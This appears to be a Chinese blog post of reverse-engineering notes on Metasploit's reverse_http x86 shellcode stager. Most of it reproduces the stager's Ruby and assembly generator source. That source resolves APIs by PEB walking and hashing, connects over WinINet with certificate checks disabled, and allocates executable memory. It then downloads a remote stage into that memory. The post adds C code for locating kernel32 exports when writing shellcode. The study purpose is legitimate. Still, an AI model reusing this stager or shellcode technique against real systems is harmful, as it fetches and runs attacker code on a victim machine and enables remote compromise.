metasploit reverse_http x86 shellcode stage分析

前言:metasploit的reverse_http模块的逆向分析笔记

参考文章: https://xz.aliyun.com/t/7996

https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/lib/msf/core/payload/windows/reverse_http.rb

stager环境初始化

stager初始化相关的操作,这里可以看到call start,调用了start之后pop ebp,最后会将asm_block_api弹回到ebp中,这个ebp是一个核心功能,也就是通过这个ebp的call来获取相关模块的方法来执行HTTP的操作

#
# Generate and compile the stager
#
def generate_reverse_http(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_http(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

那么来看下关于asm_block_api是什么东西,asm_block_api定义的地方在 https://github.com/rapid7/metasploit-framework/blob/39455827aa9d525aa1f41f07aec1898f544b9ff8/data/shellcode/block_api.x86.graphml,这里简单的来看下,可以看到其实应该就是通过PEB结构来遍历模块来获取相关模块的名称,然后通过hash计算相等来进行匹配

stager http配置项初始化

接着回来继续看,可以看到就是开始执行asm_reverse_http了,这下面一开始就是根据在生成reverse_http payload的时候初始化的一些配置项,比如是否请求的服务段是否是http还是https等

retry_count = opts[:retry_count].to_i
retry_wait = opts[:retry_wait].to_i * 1000
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
if proxy_enabled
if opts[:proxy_type].to_s.downcase == "socks"
proxy_info << "socks="
else
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
http_open_flags = 0
secure_flags = 0
if opts[:ssl]
http_open_flags = (
0x80000000 | # INTERNET_FLAG_RELOAD
0x04000000 | # INTERNET_NO_CACHE_WRITE
0x00400000 | # INTERNET_FLAG_KEEP_CONNECTION
0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
0x00080000 | # INTERNET_FLAG_NO_COOKIES
0x00000200 | # INTERNET_FLAG_NO_UI
0x00800000 | # INTERNET_FLAG_SECURE
0x00002000 | # INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
0x00001000 ) # INTERNET_FLAG_IGNORE_CERT_CN_INVALID
secure_flags = (
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA
0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION
else
http_open_flags = (
0x80000000 | # INTERNET_FLAG_RELOAD
0x04000000 | # INTERNET_NO_CACHE_WRITE
0x00400000 | # INTERNET_FLAG_KEEP_CONNECTION
0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT
0x00080000 | # INTERNET_FLAG_NO_COOKIES
0x00000200 ) # INTERNET_FLAG_NO_UI
end

获取wininet模块

通过kernel32.dll获得LoadLibraryA的api_hash,通过call ebp获取LoadLibraryA的地址,然后通过LoadLibraryA去加载wininet模块

;-----------------------------------------------------------------------------;
; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
;-----------------------------------------------------------------------------;
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "wininet" )
xor ebx, ebx ; Set ebx to NULL to use in future arguments

执行InternetOpenA

前面的工作都准备好了之后,这里就开始进行网络操作了,首先就是执行internetopen函数,这里会对proxy判断然后进行设置参数压入参数,user-agent判断设置参数压入参数,最后就是InternetOpenA执行该函数获取相关句柄

asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
^
if proxy_enabled
asm << %Q^
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
call get_proxy_server
db "#{proxy_info}", 0x00
get_proxy_server:
; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
^
else
asm << %Q^
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
^
end
if opts[:ua].nil?
asm << %Q^
push ebx ; LPCTSTR lpszAgent (NULL)
^
else
asm << %Q^
push ebx ; LPCTSTR lpszProxyBypass (NULL)
call get_useragent
db "#{opts[:ua]}", 0x00
; LPCTSTR lpszAgent (via call)
get_useragent:
^
end
asm << %Q^
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
call ebp
^

执行InternetConnectA

InternetConnectA执行完了之后,会存储一个hConnection句柄到esi,因为后续的http操作还需要用到这个句柄

asm << %Q^
internetconnect:
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL)
push ebx ; username (NULL)
push #{opts[:port]} ; PORT
call got_server_uri ; double call to get pointer for both server_uri and server_host; server_uri is saved in EDI for later,这里还会将server_uri保存到EDI中
server_uri: ;
db "#{opts[:url]}", 0x00
got_server_host:
push eax ; HINTERNET hInternet (still in eax from InternetOpenA),上面调用的InternetOpenA句柄还存储到EAX中,因为这里InternetConnectA需要用到
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
call ebp
mov esi, eax ; Store hConnection in esi
^

InternetSetOptionA

通过InternetSetOptionA来设置如果请求的是代理服务器的话,那么还需要需要验证,需要用到相关的用户和密码

if proxy_enabled && proxy_user
asm << %Q^
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
call set_proxy_username
proxy_username:
db "#{proxy_user}",0x00
set_proxy_username:
; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call ebp
^
end
if proxy_enabled && proxy_pass
asm << %Q^
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
call set_proxy_password
proxy_password:
db "#{proxy_pass}",0x00
set_proxy_password:
; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call ebp
^
end

HttpOpenRequestA

HttpOpenRequestA函数执行,然后保存获取到的request的句柄,后续有用到,并且这里还会继续重新请求的次数到edi中

asm << %Q^
httpopenrequest:
push ebx ; dwContext (NULL)
push #{"0x%.8x" % http_open_flags} ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
push edi ; server URI
push ebx ; method
push esi ; hConnection
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
call ebp
xchg esi, eax ; save hHttpRequest in esi
^
if retry_count > 0
asm << %Q^
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
^
end

HttpSendRequestA

这里就是发送请求来请求最终的要执行的shellcode了,这里的话又会对hHttpRequest句柄进行InternetSetOptionA设置,然后再获取HttpSendRequestA,来进行发送HTTP请求,如果请求失败,还会根据retry_count变量来进行重复send_request请求,直到最后请求完了之后,判断是否请求成功,不成功的话就结束进程

asm << %Q^
send_request:
^
if opts[:ssl]
asm << %Q^
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x#{secure_flags.to_s(16)}
mov eax, esp
push 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call ebp
^
end
asm << %Q^
httpsendrequest:
push ebx ; lpOptional length (0)
push ebx ; lpOptional (NULL)
^
if custom_headers
asm << %Q^
push -1 ; dwHeadersLength (assume NULL terminated)
call get_req_headers ; lpszHeaders (pointer to the custom headers)
db #{custom_headers}
get_req_headers:
^
else
asm << %Q^
push ebx ; HeadersLength (0)
push ebx ; Headers (NULL)
^
end
asm << %Q^
push esi ; hHttpRequest
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
call ebp
test eax,eax
jnz allocate_memory
set_wait:
push #{retry_wait} ; dwMilliseconds
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call ebp ; Sleep( dwMilliseconds );
^
if retry_count > 0
asm << %Q^
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, bail out
^
else
asm << %Q^
try_it_again:
jmp send_request
; retry forever
^
end
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end

VirtualAlloc

如果上面请求成功的话,那么接着就是VirtualAlloc申请可读写内存

asm << %Q^
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

InternetReadFile

接着获取要读取的字节数量,然后循环读取字节数到之前申请的内存中

download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage

win32 x86写shellcode

X86 PEB 获取导出函数地址代码

DWORD x86GetKernelBase();
DWORD x86GetApi();
DWORD x86GetKernelBase()
{
DWORD dwPEB;
DWORD dwLDR;
DWORD dwInitList;
DWORD dwDllBase;//当前地址
PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
DWORD dwVirtualAddress;//导出表偏移地址s
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
PCHAR lpName; //指向dll名字的指针
CHAR szKernel32[] = "KERNEL32.dll";
__asm
{
mov eax, FS:[0x30]//fs:[0x30]获取PEB所在地址
NOP
NOP
NOP
NOP
NOP
NOP
mov dwPEB, eax // eax 复制给dwPEB
NOP
NOP
NOP
NOP
NOP
NOP
}
dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头指针
//第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针
for (;
dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
)
{
pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
lpName = (PCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字
if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
{
return dwDllBase;
}
}
return 0;
}
DWORD x86GetApi(DWORD _hModule, PCHAR _lpApi)
{
DWORD i;
DWORD dwLen;
PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
DWORD dwVirtualAddress;//导出表偏移地址
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
CHAR** lpAddressOfNames;
PWORD lpAddressOfNameOrdinals;//计算API字符串的长度
for (i = 0; _lpApi[i]; ++i);
dwLen = i;
pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;
pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);
dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress; //导出表偏移
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress); //导出表地址
lpAddressOfNames = (PCHAR*)(_hModule + pImageExportDirectory->AddressOfNames); //按名字导出函数列表
//遍历导出表的函数名来进行判断,然后返回指定函数名的函数地址
for (i = 0; _hModule + lpAddressOfNames[i]; i++)
{
if (strlen(_hModule + lpAddressOfNames[i]) == dwLen && !strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi
{
lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表
return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))[lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址
}
}
return 0;
}

WIN32整体调用流程

//先Open
void InternetOpenA(
LPCSTR lpszAgent,
DWORD dwAccessType,
LPCSTR lpszProxy,
LPCSTR lpszProxyBypass,
DWORD dwFlags
);
//再Connect
void InternetConnectA(
HINTERNET hInternet,
LPCSTR lpszServerName,
INTERNET_PORT nServerPort,
LPCSTR lpszUserName,
LPCSTR lpszPassword,
DWORD dwService,
DWORD dwFlags,
DWORD_PTR dwContext
);
//再设置HTTP 的代理 username | pass [options]
BOOLAPI InternetSetOptionA(
HINTERNET hInternet,
DWORD dwOption,
LPVOID lpBuffer,
DWORD dwBufferLength
);
//正常Connect后,就可以请求连接, 获得一个Request句柄
void HttpOpenRequestA(
HINTERNET hConnect,
LPCSTR lpszVerb,
LPCSTR lpszObjectName,
LPCSTR lpszVersion,
LPCSTR lpszReferrer,
LPCSTR *lplpszAcceptTypes,
DWORD dwFlags,
DWORD_PTR dwContext
);
//发送请求
BOOLAPI HttpSendRequestA(
HINTERNET hRequest,
LPCSTR lpszHeaders,
DWORD dwHeadersLength,
LPVOID lpOptional,
DWORD dwOptionalLength
);
//请求成功后,(连接上MSF);分配一块缓冲区
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
//下载DLL
BOOLAPI InternetReadFile(
HINTERNET hFile,
LPVOID lpBuffer,
DWORD dwNumberOfBytesToRead,
LPDWORD lpdwNumberOfBytesRead
);
posted @   zpchcbd  阅读(311)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
历史上的今天:
2020-02-12 反汇编:内存中的数据类型
2020-02-12 数据在内存中的存储模式
2020-02-12 学习:MFC子类化
2020-02-12 GD库验证码生成/渲染绕过
点击右上角即可分享
微信分享提示